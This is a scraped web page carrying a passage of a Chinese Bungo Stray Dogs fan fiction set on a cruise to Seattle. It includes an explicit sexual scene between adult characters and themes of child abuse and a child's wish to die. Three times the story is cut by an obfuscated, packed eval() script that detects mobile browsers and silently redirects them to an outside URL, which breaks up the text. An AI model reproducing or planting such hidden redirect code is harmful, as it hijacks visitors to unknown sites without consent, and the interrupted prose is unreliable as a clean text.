$(''#content'').append('' > 兰波走到床边,飞速掀开被子钻进去——晚上的海面到底温度太低,就算屋内的暖气开得再足,仍旧会有丝丝凉意透过门窗的缝隙渗入, “暂时还不疼,我有在斟酌总量,没吃那么多。” 她又不是小孩子,上次也只是因为真的太久没吃过那样美味的菜品,才会不小心吃多而已。 “是吗?” 魏尔伦半信半疑地放下水杯,将它和药片一起安置在床头柜上随手可以拿到的位置, “不舒服一定要吃药。” “好好好,保罗妈咪——” “……?” 人造神明那张精致漂亮的脸瞬间染上一层红意,他刚想反驳,脑海里又忽然想起最初接手教导他的任务时,铁塔曾小范围流传过的几个兰波的外号。 “铁面柔情”“兰波妈妈”这种程度都还好说,唯有一个刚被传出来半天,就因惧怕被兰波听到而火速消灭的外号——处女母亲。 魏尔伦能听到,也是因为这个外号其实是某个同事当着他的面临时拼凑的,他甚至还记得对方完整的发言。 “没有灵魂的战争机器,也就‘羁风者’那种莫名其妙的‘处女母亲’会因为‘母爱’而认为你是人类吧?” 他在这边想着,兰波在那边看,人造神明的脸色像变色龙一样红了又白,白了又红,最终定格在似乎是羞涩的红润上,颇为有趣,她于是有些坏心眼地重复, “保罗妈咪?” “……” 明明兰波才是妈妈。 魏尔伦干脆翻了个身,将她罩在身下,无师自通地压低声音, “兰波妈妈……” 这下脸红的变成了兰波,黑发女性抿抿嘴,看着面前那张已经浮起一丝情欲的漂亮脸蛋,恶狠狠地思考——反正也吃不上几次了,溜走之前吃个够本也行。 勾在魏尔伦肩颈上的手微微用力,金芒一瞬闪过,两人互换了位置,兰波跨坐着,伸手去解魏尔伦的睡衣扣子。 只是她的速度着实有点慢,魏尔伦原本还乖巧地等待,到一半时终于等不下去,掐着兰波的腰,想要让她往前坐点,好给自己留下解扣子的空间。 可他的力气用得有些大了。 “——唔嗯!?” 兰波有点慌张地撑住床头——魏尔伦的力气太大,她往前的距离也因此超出控制,她还没反应过来,只来得及坐稳,就感受隔着白色的蕾丝和棉布侵入的温热呼吸, “保罗——?” 魏尔伦也没想到这样的局面,鼻尖传来混合着沐浴露香气的柔软香甜,他下意识舔了下,换来的是脸颊被瞬间夹紧的力度。 “别、放开、放开……” 人造神明的手还紧紧掐在失忆谍报员纤细的腰身上,她无力挣脱,身体的行动也与意愿完全相悖,好不容易缓过神时,新的刺激却又接踵而至, “——保罗!” 太奇怪了——与前几次截然不同的猛烈羞耻感,让兰波几乎瞬间红了眼眶,她咬紧下唇,先是命令,又紧接着恳求,可魏尔伦都充耳不闻,人造神明像个发现了游戏新玩法的孩子,兴致勃勃地尝试着。 直到兰波的话语都碎裂成呜咽的啜泣,棉布和蕾丝湿漉漉地拧成一团,魏尔伦才意犹未尽地舔舔唇,抱住兰波再次翻身,重新直面已经被泪水浸湿的秀丽面庞,温柔地亲吻起来。 ———————————————————— “……又生气了?” 津岛治今天穿了件长袖衬衫,他托着腮听中原中也讲述早上的事,最终还是无语地翻了个白眼, “你别管他们了,中也。” 都是情侣的情趣而已。 “可是……” 兰波姐姐看起来确实有点生气,虽然好像没有昨天那么生气? 中原中也搞不懂,她揉了揉自己的头发,仍旧有点苦恼。 “真的没事,和昨天完全不一样的。” 黑发男孩语重心长, “与其考虑这个,不如多想想怎么提高你那草履虫一样的学习进度。” “……?” 中原中也咬着牙按住津岛治,把他的一头黑发也揉成了鸡窝。 24.日常? 游轮上的生活对于魏尔伦来说放松且无聊。 他们乘坐的这艘游轮,并不像其他的观光游轮一样,是10天内包含陆地停靠的短期旅程,而是将要横跨整个太平洋,整整18天都要待在海上。为了更轻松地保障游轮上所有乘客的安全,同时确保从横滨出发到达西雅图的18天航行中拥有相对充足的物资,这艘游轮的仓储区也比普通游轮要大得多。 因此,即便相较于短线游轮吨位大了不少,但在可玩性上,与魏尔伦之前坐过的游轮相比,并没有太多提升。无非是游泳、攀岩、冲浪、观景、看剧和听音乐,就算他们定的是贵宾套房,也就多了点专属的区域而已。 “……已经很多了。” 兰波翻着游轮的介绍册,打断魏尔伦比介绍册更加机械的陈述,她今天换了件米色的高领羊绒衫,外罩轻薄的羽绒马甲,又套了个宽大的深绿色厚衬衫,难得没戴长围巾,只把羊绒衫的领口翻了两层,整个人看起来都清爽不少, “泳池已经去过了,中也、还有津岛君,今天想玩什么?” 她轻轻瞥了眼津岛治和昨日完全不同的装扮,在黑发男孩注意到之前迅速移开视线,继续看向已经被魏尔伦的介绍吸引得满脸期待的中原中也, “要去冲浪吗?” “冲浪?冲浪是什么?” 中原中也不太明白, “是说海上的浪吗?” “对,就是踩在一块板子上,再站在水面上,逆着水流往前冲。” 津岛治简单地给她解释, “游轮上的冲浪一般是在泳池里制造人工的逆流。” “是的。” 魏尔伦正在给兰波编辫子。在此之前,他已经沉默地将手中柔软却干枯的墨色长卷发涂好护理液和精油,又用热风吹到完全吸收,可惜仍有每日自然断裂的碎发,暂时无法修复,只能一点点顺着整体的发丝收进辫子中。 精致的金发法国人手上的动作一刻没停,倒也不耽误他给津岛治的发言补充说明, “贵宾套房有专属的冲浪服务,如果你们想的话,可以去这层独享的深水泳池学习冲浪。” “嗯……听起来有点无聊。” 学完游泳之后,中原中也就确定了一件事——自己对游泳并不算多么喜欢,不过是掌握一门求生技巧而已,她晃晃脚,努力回想刚才兄长还提到了什么, “我想去那个、那个……攀岩?” “攀岩也可以。” 兰波已经在介绍册上迅速定位到攀岩那一页,又把介绍册转了个向展示给橘发女孩, “贵宾区的攀岩墙应该比较小,刚好适合新手。” “哇……” 介绍册上的图片展示的是甲板上那个超大游乐场中的攀岩墙,又高又大,衬得下方的人都小小的,橘发女孩看着那些凸起的小装置和垂落的粗绳,忽然就明白了“攀岩”的意义, “是要绑着绳子,然后借助这些凸起爬上去吗?” “是的,怎么,也不想去吗?” 兰波收回介绍册,正打算往后翻时,中原中也已经做好决定, “要去,我以前试过爬海边的悬崖,不过没成功。” 她似乎有些不服气, “那时候我还太小,现在长大了,肯定能爬上去!” “嗯,那就去攀岩。” 魏尔伦终于把兰波的发辫编到了最后,他拿过一旁的绿色丝带,打上一个跟自己发辫上相同的蝴蝶结,随后站起身来,将深蓝色衬衫挽起的袖口放下, “走吧,兰波。” ———————————————————— 陪小孩玩耍这件事,对于大部分人来说可能都不算什么有趣的好事——尤其是孩子的素质水平参差不齐时。 好在中原中也确实是个乖宝宝,附带来的津岛治……勉强也算安静听话,再加上攀岩区有专门的攀岩教练,魏尔伦不需要像之前一样,亲力亲为地教导妹妹游泳,所以整体来说,他目前还算悠闲。 不如说,悠闲过了头。 攀岩区提供的椅子同样是舒适的躺椅,兰波托着下巴,静静地看着魏尔伦手中翻飞的毛线, “你什么时候去买的?” “早上。” 魏尔伦刚织完一层浅绿的挑花,正在重新继续打米白的平纹, “吃完早饭,带中也出门找津岛治,顺便逛了下商店。” ……哦。 那会儿她还在因为昨晚魏尔伦的胡闹而生气,确实没注意魏尔伦带着两个小孩回来时手里多了袋东西。 兰波撇撇嘴,歪着脑袋,有些疑惑, “这是要做什么?” 魏尔伦手中织好的部分宽度很窄,窄而细长,完全看不出有什么用处——她本来还以为魏尔伦打算给她织条围巾呢。 “从横滨走之前看到一个耳罩,里面的填充和皮毛不行,来不及定做了。” 魏尔伦停下动作,看着兰波,认真回答, “之前忘了给你买新耳罩,现在这个一直戴着总归不太方便。” “?” 耳罩吗? 兰波抬起手,隔着轻薄的黑色丝质手套,也能感受到耳罩的柔软——这个耳罩跟她收起来的那身衣服一样,是重伤醒来时就待在她身边的。 纯皮毛的材质,保暖性很好是一方面,更重要的是这个耳罩的发箍部分似乎由某种韧性很好的合金制成,不像别的耳罩那么紧,戴一天也不会压得耳朵痛。所以从那之后,她也一直戴着,算是除了那顶帽子以外利用率最高的失忆前物品了。 “而且这个耳罩——” 魏尔伦伸出手,轻柔地拂过耳罩,又忍不住捏了捏, “有点太大了。” 对失忆前的兰波来说其实就有点大,现在兰波的脸整个小了一圈,就显得更大,带着些稚气的可爱。 “……嗯。” 人造神明的语气太温和,那双湛蓝的眼睛也太专注,兰波的眼神飘忽了一下,她垂下眸,换了个问题, “什么样的新耳罩?” “像一朵花。” 魏尔伦没有保存图片,只能大概地形容, “内侧是兔毛,外侧用蕾丝堆成花——材质不太适合你,所以我换成针织。” 花的形状他也另有打算。 “是吗?” 兰波眨眨眼, “那我就太期待了。” 她站起身,决定先离开魏尔伦身边一会儿, “我去看看中也和津岛君学习的进度。” “好。” “……一点都不好!” 中原中也正在生气,她抓住津岛治想要往回撤的手腕,橘色的发丝像是燃烧的怒火, “他凭什么打你?不是都说了是要出来找我玩?为什么回去晚一点就要挨打?” “……别这样,中也。” 津岛治的表情有点伤心,鸢色的眸子蒙着一层水汽,回答的声音小得可怕, “是父亲……家里的规定是这样,我犯错了就要受罚,而且……” 他瞥了眼早就退到一旁的攀岩教练,本就很小的声音变得更加细不可闻, “而且我已经、已经习惯了,不疼的。” “习惯了!?” 中原中也简直不敢置信。 她离开擂钵街之后的第一个朋友,居然会因为自己的强行挽留而遭到亲生父亲的无理由虐待——要不是刚才攀岩过程中,津岛治衬衫的袖扣被蹭掉,袖子也因此滑落下来,露出了青紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056035|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的条状伤痕,她甚至不敢想对方打算瞒着她多久。 更何况、更何况——那是津岛治的亲生父亲。 她的愤怒里夹带着迷茫和不解, “父母不应该喜欢孩子,疼爱孩子吗?你应该是受到他的期待而诞生的,他为什么要这样对你?” 天知道擂钵街的时候,“羊”的孩子们有多希望拥有亲生父母,拥有一个家。在橘发女孩白纸一样的脑海中,对“家”这个词也从来都是向往和期待的。 “……不是所有。” 津岛治沉默片刻,自嘲地笑起来, “中也,不是所有的父母都爱孩子的。” 他终于从中原中也手中拽回了自己的胳膊,将衬衫严严实实地拉好,又将捡回来的袖扣重新别上, “总之,中也只要装作和我是好朋友,让他觉得我出来玩是有意义的就好啦。” 中原中也沉默地点点头,她想了想,从短裤的口袋里掏出一枚薄荷糖,递给津岛治, “吃了糖会心情好一点,还有。” 钴蓝色的眼睛与鸢色的眸子对视着,橘发女孩语气认真得宛如承诺, “我们本来就是好朋友,治——这是不需要伪装的。” “……好。” 津岛治接过糖果的动作慢了一拍,余光瞟到中原中也身后,忽然拔高声音, “兰波姐姐?” “嗯。” 兰波在中原中也身旁站定,揉了揉橘发女孩的头, “学得怎么样了?” “我已经完全学会了!” 听到兰波的问话,中原中也的情绪又高涨起来,像个炫耀翅羽长齐的小鸟, “教练说我是他见过最有天赋的孩子,一遍就能爬到顶端。给你看,兰波姐姐。” 橘发女孩干脆重新扣上安全绳,两步蹦到攀岩墙旁,扭过头叮嘱兰波, “我爬一遍给你看——要认真看哦!” “好。” 兰波勾起一个浅淡的笑,视线跟随在飞速向上的橘发女孩身上,声音却清晰地传到一旁黑发男孩的耳中, “你这样做,有考虑过中也发现后会是什么态度吗?” “……” 津岛治仰起脸,无辜而迷茫, “兰波姐姐,你说什么?” “……呵。” 兰波懒得理他,反正有她和魏尔伦在,中原中也不会出事,就当给孩子一次“交友不慎”的教训吧。 她看着已经爬到墙顶的中原中也,微笑鼓掌, “中也真厉害。” 不远处的魏尔伦已经织好了一侧的花片,轻轻打着圈固定在一起,他放下成型的针织花,不带感情地瞄了眼津岛治,随后,也跟着鼓起掌来。 ———————————————————— 今晚魏尔伦没有下厨——游轮上的新鲜食材可遇不可求,不是每天都会有直升机或补给船能送来补给,中原中也没有再留津岛治吃晚饭,看着朋友瘦小的背影消失在走廊尽头,橘发女孩忍不住叹了口气, “哎……” “怎么了?” 兰波明知故问, “中也有什么心事吗?” “是治的事情。” 橘发女孩鼓着脸, “他爸爸太坏了,居然因为昨天回去晚就打他,我们能怎么帮帮他呢?” “中也想怎么帮他?” 兰波看了眼魏尔伦,后者好像没有插话的意思,于是她接着引导, “是想让津岛君脱离这样的环境?还是?” “……我不知道。” 中原中也看了眼沉默的兄长,又抬起头看着兰波, “哥哥,兰波姐姐,我们可以带他离开吗?” 25.日常 海面与夜幕毫无分割,游轮上的灯光到了海里也成了人造的星星,窗外的纱帘被吹得纷飞,床头的小台灯亮着,淡淡的黄色,把兰波碧绿的眼眸映得暖意融融。 魏尔伦躺在她身侧,忽然翻了个身,搂住纤细的腰,连带着整个人都埋进来,高挺的鼻尖顶在柔软的小腹上,夹带着呼出的热气,让正靠坐着看书的兰波不由得吸了吸肚子,翻动书页的手也停了下来, “怎么了?保罗?” 她放下书,揉了揉怀里毛茸茸的灿金色脑袋, “还在想中也说的事情?” 刚才的谈话没有进行完,要带一个毫不相干的孩子离开游轮并不容易,中原中也在兰波的引导下说出想法的瞬间就有点后悔,红着脸道了歉,只是直到睡前,都依然一副苦恼的样子。 魏尔伦是个对情绪相当敏感的人,看得出来妹妹的苦恼,但并不会因此而犹豫——妹妹想要个人类玩伴而已,在人造神明看来和买个娃娃没有区别,就算人类小孩需要养,也并不会太麻烦。 他只是忽然从脑海里翻出一些东西, “太宰治……” “太宰?” “……不,我是说津岛治。” 魏尔伦仍把脸埋在兰波柔软的小肚子上,隔着棉纱的睡裙蹭了蹭,声音发闷地开口, “我想起来他是谁了。” “???” 兰波这下是有点真的惊讶了, “保罗认识津岛君?” 短短三天能够得到的信息并不多,更何况他们和津岛家大人也没什么交集。 但就目前已知的内容而言,津岛治不过是日本某个不知名小地方的小家族独子。津岛家是有些钱,却没什么可以背靠的势力,父母家人应当也并不清楚他拥有异能力——否则必然会以此为筹码。 因此,不论魏尔伦是兰波猜测中的法国官方组织成员,还是某些反动势力的成员,按理说都不应当对津岛治有什么印象。 事实亦是如此,魏尔伦确实不认识津岛治,在他脑海中存有印象的,是刚才脱口而出的名字——太宰治。 那个已经烟消云散的肮脏灵魂,最后残留下来的一日记忆碎片太过杂乱纷扰,人造神明当时梳理完大致内容后,只重点接收了一部分和自己、兰波以及中原中也相关的信息,就把其他的都扔在角落,所以直到今天才忽然反应过来——为什么会对“治”这个日本名字有种莫名的熟悉感。 “他……不算认识,只是以前机缘巧合下得到的情报。” 魏尔伦摇摇头,扯了个简单的谎, “津岛治的能力确实是‘消除所有异能力’的反异能力,而且不仅能作用在自身,还能消除别人的异能力,这是欧洲也从未出现过的。” “所以?” 兰波垂眸, “保罗是觉得应该带走他?” “……嗯。” 两个coser少女提到太宰治的内容比提起魏尔伦的零碎多了,人造神明能够总结出的信息只有两点,除了确认津岛治的异能力以外,就只有和中原中也相关的,也是最为重要的一点, “中也的能力不太成熟。” 魏尔伦有些无奈,他不清楚为什么,但中原中也的基因可能存在问题——或许日本军方没有得到魏尔伦完整的基因样本,抑或没有牧神的异能力加持所以没办法融合基因——不论原因为何,总之,中原中也是个半成品,她异能力的第二阶段“污浊”没办法和魏尔伦一样自主控制,需要依靠津岛治的异能力才能解除。 不过,这点也并不绝对,魏尔伦同样能够控制中原中也“门”的开关,只是如果“门”开得太大,就没办法轻而易举地关上。 正如当年那场猝不及防的爆炸,他在寻找兰波身影的慌乱中,只来得及开启二阶段与“荒霸吐”形态的中原中也对冲,就被炸得晕了过去,醒来时已经漂在海上,远远望见横滨如同被不知名巨物啃噬残留的废墟。 这些目前不能对兰波说,魏尔伦稍稍侧过脸,露出一只蓝眸,自下而上地凝视失忆搭档,斟酌片刻后,用简单明了又不会暴露太多信息的方式继续陈述, “中也的异能力和我一样有缺陷,而且缺陷更大,容易出现失去自我意志的状态,而津岛治……” “津岛治的异能力能够解除这种状态。” 兰波彻底明白了,她看着魏尔伦,没忍住,又揉了揉对方灿金色的发顶, “保罗确实打算带他离开。” “嗯。” 魏尔伦撑起胳膊,平视兰波的眼睛, “但我希望征求你的意见,兰波。” 他非常认真地询问, “如果带他走,我们以后就要养两个孩子——你愿意吗?” “……” 听起来怪怪的——能把公认最为严谨的法语说出这种带有歧义的感觉也挺厉害。 兰波眨眨眼,忽然发现魏尔伦的头顶翘起两缕乱发,她有些心虚地咳了一声,状似轻松地回答, “没关系,保罗决定就可以。” 魏尔伦不自觉地微笑起来, “好。” 他凑上前,轻轻亲了口兰波的唇,随后搂住兰波躺下, “睡吧,已经很晚了——晚安,兰波。” “……嗯,晚安,保罗。” ———————————————————— 第二日,早餐过后,中原中也就独自一人跑去找津岛治,然后吃了个闭门羹。 不知名姓的津岛父亲似乎终于反应过来,结交魏尔伦和兰波并不能给他在日本的生意和地位带来提升,所以面对中原中也的态度也不再和前两天一样温和。 橘发女孩闷闷不乐地跑回来,坐在沙发旁看了一个小时教材,又开着电视边学边玩打了一个多小时游戏后,门铃忽然响起。 “……” 魏尔伦开了门,和同样面无表情的黑发男孩对视片刻,侧过身让开, “中也,津岛君来了。” “嗯!?” 中原中也惊讶地看过去,来者正是津岛治。黑发男孩今天依然穿着长袖长裤,唯一的变化是脸颊多了块小绷带,他朝着中原中也扬起一个微笑, “中也,你早上来找我了?” “嗯,不过你父亲说你今天有什么学习任务,不能出门。” 中原中也鼓着脸,有点生气, “你的脸怎么回事?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15065020|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没什么,昨晚不小心磕了下。” 津岛治垂下眼帘,但谁都能看到那双鸢眸中一闪而过的悲伤, “中也今天想去玩什么?我们去冲浪?” 他的语气实在是——有点恶心,兰波的唇角抽动着,放下手中的橙汁, “这几天游乐园的活动项目安排比较紧,人很多,我们不想凑热闹,所以只打算带中也去中央花园吃午饭,预定的包厢还有空位,津岛君要一起吗?” “中央花园?” “嗯嗯,就是楼下那个很大的花园,你去过吗?” 中原中也举起手比画一下,觉得不够清楚,干脆直接拉着津岛治朝阳台走过去——魏尔伦定的套房,除了超大的弧形观景露台以外,横贯半层楼的另一侧还有个内阳台,能够居高临下地看到游轮19层船舱内侧所有走廊和设施。 “就是那里!” 橘发女孩指着楼下醒目的偌大一片绿,神情兴奋, “哥哥说那些不是假的,都是真树和真花,船上种着的树和花,太神奇了——治跟我们一起去吧?” “……嗯,好呀。” 好呀~ 兰波无语地撇撇嘴,看向魏尔伦时,果然发现对方脸上的表情也很诡异,她这才忍不住笑起来,拍拍人造神明的肩, “放心,有我们在呢。” 魏尔伦点点头,没再去管演戏演得上瘾的津岛治,和一心把津岛治当作可怜小弟弟看待的中原中也,他站起身来,将衣架上的围巾和耳罩递给兰波, “今天风大,换件厚外套吧。” “耳罩呢?” 兰波把围巾套上,捏着戴了两年多的耳罩询问。她记得对方昨天可是织了一整个下午,说要给她一个新耳罩来着? 魏尔伦的脸莫名红了起来, “咳。” 那双漂亮的湛蓝色眸子有些闪躲, “我还、没有弄好,先戴这个吧。” “保罗。” 纤长浓密的漆黑睫羽缓慢地扇动一下,兰波的语调轻缓, “让我看看?” “……” 最后还是一起回了卧室,已经做完的耳罩确实有点奇怪,兰波打量了半天,硬是没看出来上面到底是什么花,只能大概推测, “……玫瑰花?” “不是。” 魏尔伦抿抿嘴, “是山茶花。” 如果可以,当然是鸢尾最适合兰波,但不论是颜色还是花型,鸢尾都不太适合做到耳罩上,所以魏尔伦原本打算用针织堆出一朵白山茶, “预留的长度不够充足,花瓣的弧线也没织好。” 他看着还在揉捏耳罩的兰波,有点不太开心地汇报, “下次做就不会犯这些错了。” 于是兰波手中揉捏的事物变成了魏尔伦的脸颊,失忆谍报员用无比柔和的眼神看着呆愣的人造神明, “没关系,很漂亮。” 她收回手,拨开鬓发,将失败的山茶花耳罩戴上, “很柔软,也很舒服。” 兰波踮起脚,轻吻魏尔伦的唇角, “谢谢你,保罗,我——很喜欢。” 26.下船咯 时间一天天地过,中原中也已经把游轮上能玩的项目基本玩了个遍,而这些项目也正如魏尔伦所言——无非就是那些东西。 除了第一次学习冲浪,以及站在游轮顶端的观光舱,升高30米,俯瞰整艘游轮时有些兴奋以外,并没有太多能让橘发女孩感到刺激的内容。 海上的日子不再新鲜,却依然惬意而有趣。 唯一令中原中也有些不开心的是津岛治,黑发男孩陪她一起玩耍的时间越来越少,神情也一日比一日沉默,她看在眼里,却想不到什么解决办法,又不想真的去麻烦魏尔伦和兰波出面,只能用自己的方式去开解这位不幸福的弟弟。 “治?” 橘发女孩歪歪头,将手上的冰淇淋递出, “你……” 她看着有点发呆的津岛治,明显想问些什么,又克制着没继续说,语气僵硬地转折, “快吃吧,我可是特意买了你喜欢的黑巧克力味——今天阳光真好啊。” 阳光确实很好,他们正坐在游轮的中央花园中——自从上次在中央花园的法餐厅吃过一顿午餐后,这里就成了中原中也在整艘游轮上最喜欢的地方。 明丽的阳光照耀下,所有的植物都积极地生长着,津岛治背后的花开得艳丽,却衬得他神情更加阴郁, “明天……就到西雅图了。” “明天!?” 中原中也没有算时间,也不喜欢看船报,她只记得前两天兄长说过快到了,此刻听津岛治提起,才掰着手指数数, “已经过去十七天了吗……” 橘发女孩的神情也低落下来,她坐在一旁,看着自己擦得锃亮的小皮靴,沉默地啃完手里的冰淇淋,要分别时,还是忍不住轻声询问, “治,你……真的没事吗?” “没事的。” 津岛治摇摇头, “不是说过了嘛,我早就习惯这些了。” “……” 中原中也忽然又有点生气, “怎么能习惯呢!” 她愤愤不平地指责, “像这样的父母根本就不配做父母,如果不爱孩子的话,为什么要生孩子出来?他们根本不能算你的家人。” 一个月以前,她也没有家人,但她知道家人该是什么样子——互帮互助,互相体谅,爱着彼此的才是家人。 津岛治没有回答,只是摇摇头,跳下秋千椅, “再见,中也。” “……” 中原中也瘪着嘴,小声道别, “再见,治。” ———————————————————— 游轮上的最后一夜,除了三人都不想去的宴会以外,还有一场已经报备过的,世界上仅有几艘游轮可以燃放的烟花秀。 套房的露台视角极佳,魏尔伦把被子叠成柔软温暖的帐篷,兰波抱着中原中也缩在里面,共同看完了这场罕见的海上烟花表演。 临到睡觉前,中原中也才小声喊住两人, “哥哥、兰波姐姐。” 橘发女孩坐在床上,低垂着头, “我……为什么帮不了治呢?” “中也觉得呢?” 魏尔伦有点好奇妹妹的答案。 “因为我太弱小了。” 橘发女孩声音低落地否定自己, “如果我和哥哥一样强大,那我就可以把治拯救出来。” “不。” 兰波伸出手,轻柔地揉了揉小孩的头, “中也帮不了津岛君,是因为津岛君不接受帮助。” “……?” 中原中也好像听明白了,又好像没明白, “我每次问他的时候,他都说没关系——是因为这个吗?” “不全是。” 兰波的表情是一如既往的冷淡,只有眉梢眼角能看出些微的柔和, “如果津岛君希望得到帮助,就不会这样不坦率——如果他能够更加直白地请你帮助他,那我想中也一定会来请求我和保罗,就算不请求,也一定会做出别的行为来努力帮助他,对吧?” “……嗯。” 这也是中原中也这些天来一直在纠结的原因,她知道如果自己开口,兄长和兰波姐姐应该会答应,但她不想给家人添麻烦,也不清楚自己如果自作主张地帮助津岛治,会不会反而让对方觉得做了多余的事情。 “但津岛君没有说,所以中也不知道自己该不该做——而且,如果不是中也这样细腻又温柔的孩子,其他人甚至可能没办法感受到津岛君的痛苦。” 兰波轻声解释着, “津岛君也许有自己的苦衷,但他没有求助,所以很难获得帮助,这不是中也的错。” “可是、他没有求助也不是他的错,他只是没有意识到自己可以获得帮助,他习惯了孤独的状态,才会、才会……” 橘发女孩抬起头,用恳求的目光看向魏尔伦和兰波, “我觉得他是在求救的,只是不敢说,所以——” “——嗯。” 从兰波说话起就有点怔愣的魏尔伦回过神,脸上浮现出温和的微笑,他学着兰波的样子,揉了揉妹妹的发顶, “不用担心,明天会给你一个惊喜。” ———————————————————— 西雅图的海滨酒店很多,但三人在游轮上待了大半个月,看过太多海景,所以魏尔伦征求兰波和妹妹的意见后,果断定下更靠近市中心的酒店。 游轮的贵宾游客离开时有专门的优先通道,中原中也张望两圈,没找到津岛治的身影,心中已经有了暗暗的猜测,等到达酒店,发现门口被送来的,除了原本带上游轮的三个大行李箱外,又多了一个大皮箱时,眼神更是蓦地亮了起来。 橘发女孩左看看右看看,做贼似的把大皮箱拖进酒店套房的客厅中, “哥哥,兰波姐姐?这是、这是!” 她听到了,皮箱中的心跳声和呼吸声! “是津岛君。” 兰波摘下围巾和耳罩,脱掉厚重的风衣——套房管家已经提前开好空调,客厅的床帘也拉开,纱帘挡不住西海岸初夏热烈的阳光,屋内虽然还算不上太热,但这些天来魏尔伦秉持着严谨的食疗法和规范的作息时间,失忆谍报员的畏寒情况因而有所缓解,这个温度已经足够舒适。 魏尔伦把其余的三个行李箱都拉进来,关上大门,看着表情兴奋的妹妹,点点头, “以后津岛君会跟我们一起生活。” 他示意妹妹打开皮箱, “你想让他当你的弟弟还是仆人?” “仆、仆人?” 从未设想过的选项令中原中也正在开锁的手都抖了一下,她甩甩头,忙不迭地回答, “弟弟,我要弟弟。” “嗯。” 魏尔伦没有意见,反正妹妹的弟弟又不是他的弟弟, “先去洗漱休息一下吧。” 中原中也点点头,看着魏尔伦和兰波走进主卧,才叫醒在柔软的大皮箱中睡得迷迷糊糊的津岛治, “治?治!” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15066163|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 津岛治睁开眼的瞬间,脸色忽然黑了下来。 “……治?” 中原中也想要去拉他起来的手僵在半空,停顿片刻后,忐忑地道歉, “抱歉,治,是我擅作主张让哥哥和兰波姐姐把你带出来的。因为你在那个家里根本一点都不开心,你一定也不想——” “——真烦人。” “……啊?” “我说你,真烦人。” 津岛治低着头,没有看中原中也的表情, “不过还是谢谢你,如果不是你,我也不会这么轻易就从那里跑出来。” “……治?你在说什么?” 中原中也听不懂。 “草履虫一样——不对,真是黏糊糊的小蛞蝓一样的笨蛋。” 津岛治的语气是中原中也从未听过的刻薄, “我在利用你啊,到现在还不懂吗?” “利用、我?” “对,利用你。” 津岛治仰起脸,视线定格在中原中也背后的挂画上,脸上露出嚣张的笑, “我可是津岛家这一代的独子,又那么聪明,老东西就算不喜欢我母亲,也不会对我怎么样,更不可能动手打我——不过他现在肯定气坏了,一心一意培养的接班人莫名失踪,想到他脸上会出现的表情,真是心情舒畅。” “……你利用我,离开津岛家?” 中原中也不明白, “可是、可是……?” 就算直接开口,她也不会拒绝的呀? “我从来都没把你当朋友。” 背后主卧的大门传来声响,魏尔伦和兰波在客厅的另一侧站定,津岛治知道,刚才的话肯定一字不漏地被两人听见了,但他依然在笑, “不过是稍微演个戏骗你的同情心而已。” 中原中也的神色逐渐冷下来,一言不发地紧盯津岛治,而津岛治还在说, “你又不是真的从小无忧无虑的大小姐,居然还会上这样的当,以为我过得多么悲惨,纠结着想要救我——真是天真的愚蠢。” 他终于正视中原中也,又用余光去瞥魏尔伦和兰波的脸色,却没得到想要的结果,于是有些急切地再次拔高声音, “反正我就是一直都是在演戏骗你,利用你!我根本、从来、一点都没把你当作朋友!” 这样应该够让这个天真的幼崽难受了吧?护犊子的成年猛兽一定会给予他想要的—— “——原来如此。” 魏尔伦挑眉,语调优雅地开口, “你不是想借我们的手离开津岛家,而是想死。” “……?” 中原中也更不明白了,愤怒又委屈的表情凝固在脸上,她下意识看向津岛治,发现对方已经呆住,也就是说——兄长说的话是真的。 “故意露出破绽让我和保罗能够看出,就是希望我们会在中也伤心失望,彻底不把你当作朋友之后杀了你。” 兰波叹了口气, “不错的计划,可惜有点太急切了,也过分低估了自己的用处——而且,虽然保罗杀人的习惯我不清楚,但我杀人,会很痛的。” 她没再看刚满十岁的幼年操心师,朝着中原中也眨眨眼,轻声建议, “可以揍到半死,把气发泄出来。” “……?????” 门“咚”的一声关上,津岛治终于反应过来,他眼神僵直地看向中原中也, “中、中也?” “哼。” 中原中也不语,只是一味地捏紧拳头。 27.医院 主卧门外有细碎的声音持续传来。兰波坐在行李箱旁,一边把箱中的衣服一件件地递给魏尔伦,一边轻声推测, “中也应该不会把津岛君揍得太惨。” 如果是为了别的利用她,中原中也当然不会手软,但津岛治是想要借此“自杀”,以橘发女孩的性格,可能会反而有些能理解对方。 “嗯。” 魏尔伦接过衬衫,抖开后看到不甚明显的褶皱,扔进一旁打算清洗的衣篓中, “她太心软了。” “这是好事。” 听出魏尔伦语气中隐约的不满,兰波摇摇头,替中原中也辩解, “而且中也的心软只针对认定的家人和朋友,善良也并非毫无原则,更何况津岛君并不是刻意接近她,她能分辨出来对方是真情还是假意——爱憎分明、坚守本心是很好的品质。” 